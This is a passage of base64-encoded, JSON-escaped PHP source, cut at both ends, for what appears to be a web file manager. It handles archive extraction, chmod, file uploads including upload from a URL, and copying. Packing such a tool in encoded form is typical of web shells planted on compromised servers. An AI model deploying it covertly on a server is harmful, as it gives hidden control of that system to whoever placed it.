J3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTtcbiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7XG4gICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICR1bnppcCk7XG4gICAgJGlzVmFsaWQgPSBmYWxzZTtcblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cblxuICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkdW56aXApKSB7XG4gICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICR1bnppcDtcbiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKTtcbiAgICAgICAgJGlzVmFsaWQgPSB0cnVlO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICBpZiAoKCRleHQgPT0gXCJ6aXBcIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09IFwidGFyXCIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgaWYgKCRpc1ZhbGlkKSB7XG4gICAgICAgICR0b2ZvbGRlciA9ICcnO1xuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkge1xuICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJHRvZm9sZGVyLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiAkdG9mb2xkZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSBcInppcFwiKSB7XG4gICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpO1xuICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpO1xuICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSBcInRhclwiKSB7XG4gICAgICAgICAgICB0cnkge1xuICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7XG4gICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NobW9kJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZyhcIkludmFsaWQgVG9rZW4uXCIpLCAnZXJyb3InKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgJG1vZGUgPSAwO1xuICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwNDAwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDIwMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAxMDA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDQwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAyMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMTA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDA0O1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAwMjtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMDE7XG4gICAgfVxuXG4gICAgaWYgKEBjaG1vZCgkcGF0aCAuICdcLycgLiAkZmlsZSwgJG1vZGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5cbiRwYXRoID0gRk1fUk9PVF9QQVRIO1xuaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbn1cblxuaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7XG59XG5cbiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7XG5cbiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpO1xuJGZvbGRlcnMgPSBhcnJheSgpO1xuJGZpbGVzID0gYXJyYXkoKTtcbiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKFwiXC9cIiwgJHBhdGgpLCAtMSlbMF07XG5pZiAoaXNfYXJyYXkoJG9iamVjdHMpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGN1cnJlbnRfcGF0aCwgJHBhdGgpKSB7XG4gICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoIUZNX1NIT1dfSElEREVOICYmIHN1YnN0cigkZmlsZSwgMCwgMSkgPT09ICcuJykge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cbiAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG4gICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGU7XG4gICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkge1xuICAgICAgICAgICAgJGZvbGRlcnNbXSA9ICRmaWxlO1xuICAgICAgICB9XG4gICAgfVxufVxuXG5pZiAoIWVtcHR5KCRmaWxlcykpIHtcbiAgICBuYXRjYXNlc29ydCgkZmlsZXMpO1xufVxuaWYgKCFlbXB0eSgkZm9sZGVycykpIHtcbiAgICBuYXRjYXNlc29ydCgkZm9sZGVycyk7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGZtX3Nob3dfaGVhZGVyKCk7XG4gICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTtcbiAgICBmdW5jdGlvbiBnZXRVcGxvYWRFeHQoKVxuICAgIHtcbiAgICAgICAgJGV4dEFyciA9IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKTtcbiAgICAgICAgaWYgKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikge1xuICAgICAgICAgICAgYXJyYXlfd2FsaygkZXh0QXJyLCBmdW5jdGlvbiAoJiR4KSB7XG4gICAgICAgICAgICAgICAgJHggPSBcIi4keFwiO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiAnJztcbiAgICB9XG4gICAgPz5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cblxuICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFic1wiPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBhY3RpdmVcIiBocmVmPVwiI2ZpbGVVcGxvYWRlclwiIGRhdGEtdGFyZ2V0PVwiI2ZpbGVVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXBcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkaW5nRmlsZXMnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjdXJsVXBsb2FkZXJcIiBjbGFzcz1cImpzLXVybC11cGxvYWRcIiBkYXRhLXRhcmdldD1cIiN1cmxVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtbGlua1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQgZnJvbSBVUkwnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwiY2FyZC10ZXh0XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cImZsb2F0LXJpZ2h0XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2tcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PlxuICAgICAgICAgICAgICAgIDxcL3A+XG5cbiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoRk1fU0VMRl9VUkwpIC4gJz9wPScgLiBmbV9lbmMoRk1fUEFUSCkgPz5cIiBjbGFzcz1cImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXJcIiBpZD1cImZpbGVVcGxvYWRlclwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmdWxscGF0aFwiIGlkPVwiZnVsbHBhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZhbGxiYWNrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT1cImZpbGVcIiB0eXBlPVwiZmlsZVwiIG11bHRpcGxlIFwvPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cblxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ1cGxvYWQtdXJsLXdyYXBwZXIgY2FyZC10YWJzLWNvbnRhaW5lciBoaWRkZW5cIiBpZD1cInVybFVwbG9hZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPVwianMtZm9ybS11cmwtdXBsb2FkXCIgY2xhc3M9XCJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyXCIgb25zdWJtaXQ9XCJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpO1wiIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cInVwbG9hZFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidXJsXCIgcGxhY2Vob2xkZXI9XCJVUkxcIiBuYW1lPVwidXBsb2FkdXJsXCIgcmVxdWlyZWQgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBzdHlsZT1cIndpZHRoOiA4MCVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IG1zLTNcIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibGRzLWZhY2Vib29rXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9XCJqcy11cmwtdXBsb2FkX19saXN0XCIgY2xhc3M9XCJjb2wtOSBtdC0zXCI+PFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz5cbiAgICA8c2NyaXB0PlxuICAgICAgICBEcm9wem9uZS5vcHRpb25zLmZpbGVVcGxvYWRlciA9IHtcbiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLFxuICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PixcbiAgICAgICAgICAgIGZvcmNlQ2h1bmtpbmc6IHRydWUsXG4gICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSxcbiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsXG4gICAgICAgICAgICBwYXJhbGxlbFVwbG9hZHM6IDEsXG4gICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsXG4gICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsXG4gICAgICAgICAgICBtYXhGaWxlc2l6ZTogXCI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz5cIixcbiAgICAgICAgICAgIGFjY2VwdGVkRmlsZXM6IFwiPD9waHAgZWNobyBnZXRVcGxvYWRFeHQoKSA/PlwiLFxuICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgdGhpcy5vbihcInNlbmRpbmdcIiwgZnVuY3Rpb24oZmlsZSwgeGhyLCBmb3JtRGF0YSkge1xuICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lO1xuICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcImZ1bGxwYXRoXCIpLnZhbHVlID0gX3BhdGg7XG4gICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7XG4gICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIH0pLm9uKFwic3VjY2Vzc1wiLCBmdW5jdGlvbihyZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpO1xuXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoX3Jlc3BvbnNlLnN0YXR1cyA9PSBcImVycm9yXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiRXJyb3I6IEludmFsaWQgSlNPTiByZXNwb25zZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pLm9uKFwiZXJyb3JcIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgPFwvc2NyaXB0PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHlfZmlsZXMgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6IG51bGw7XG4gICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4/PlxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8aDY+PD9waHAgZWNobyBsbmcoJ0NvcHlpbmcnKSA/PjxcL2g2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmluaXNoXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCInIC4gZm1fZW5jKCRjZikgLiAnXCI+JyAuIFBIUF9FT0w7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/PjxcL3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPFwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjxcL2I+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48XC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PGJyPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucF9jb3B5X3RvXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/PlwvPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNvcHlfdG9cIiBpZD1cImlucF9jb3B5X3RvXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cImN1c3RvbS1jaGVja2JveCBjdXN0b20tY29udHJvbFwiPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwibW92ZVwiIHZhbHVlPVwiMVwiIGlkPVwianMtbW92ZS1maWxlc1wiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1tb3ZlLWZpbGVzXCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yXCI+PD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48XC9idXR0b24+XG4gICAgICAgICAgI